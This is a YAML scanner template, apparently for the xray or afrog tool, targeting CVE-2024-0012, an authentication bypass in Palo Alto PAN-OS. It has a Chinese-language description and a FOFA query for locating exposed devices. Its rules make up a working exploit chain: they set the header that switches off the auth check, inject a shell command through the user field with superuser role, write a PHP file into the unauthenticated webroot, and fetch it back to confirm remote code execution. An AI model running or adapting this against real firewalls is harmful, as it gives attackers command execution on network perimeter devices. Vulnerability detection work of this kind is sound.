CVE-2024-0012: Palo Alto Networks PAN-OS身份认证绕过导致RCE漏洞(CVE-2024-0012)

id: CVE-2024-0012

info:
  name: Palo Alto Networks PAN-OS身份认证绕过导致RCE漏洞(CVE-2024-0012)
  author: Superhero
  severity: high
  description: |-
    fofa: icon_hash="873381299"
    PAN-OS 设备管理 Web 界面中存在身份认证绕过漏洞，未经身份验证的远程攻击者可以通过网络访问管理 Web 界面，从而进行后续活动，包括修改设备配置、访问其他管理功能以及利用 Palo Alto NetwrKS PAN-OS 权限提升漏洞(CVE-2024-9474)获取r00t访问权限，执行任意命令，目前该漏洞技术细节与P0C已在互联网上公开，鉴于此漏洞已发现在野利用，建议用户尽快做好自査及防护。
  reference:
    - https://mp.weixin.qq.com/s/teoAYR31FXC1WmsqCxkjrg?token=635655052&lang=zh_CN
  tags: palo,rce,cve,cve2024
  created: 2024/12/03

set:
  username: randomLowercase(6)
rules:
  r0:
    request:
      method: POST
      path: /php/utils/createRemoteAppwebSession.php/rce.js.map
      headers:
        X-PAN-AUTHCHECK: off
      body: user=`echo $(ifconfig) > /var/appweb/htdocs/unauth/{{username}}.php`&userRole=superuser&remoteHost=&vsys=vsys1
    expression: response.status == 200 && response.body.bcontains(b'@start@PHPSESSID=')  && response.body.bcontains(b'@end@')
    output:
      search: '"@start@(?P<phpsessid>PHPSESSID=.*?)@end@".bsubmatch(response.body)'
      phpsessid: search["phpsessid"]
  r1:
    request:
      method: GET
      path: /index.php/.js.map
      headers:
        Cookie: "{{phpsessid}}"
        X-PAN-AUTHCHECK: off
    expression: response.status == 200
  r2:
    request:
      method: GET
      path: /unauth/{{username}}.php
      headers:
        Cookie: "{{phpsessid}}"
        X-PAN-AUTHCHECK: off
    expression: response.status == 200 && response.body.bcontains(b'eth0:')
expression: r0() && r1() && r2()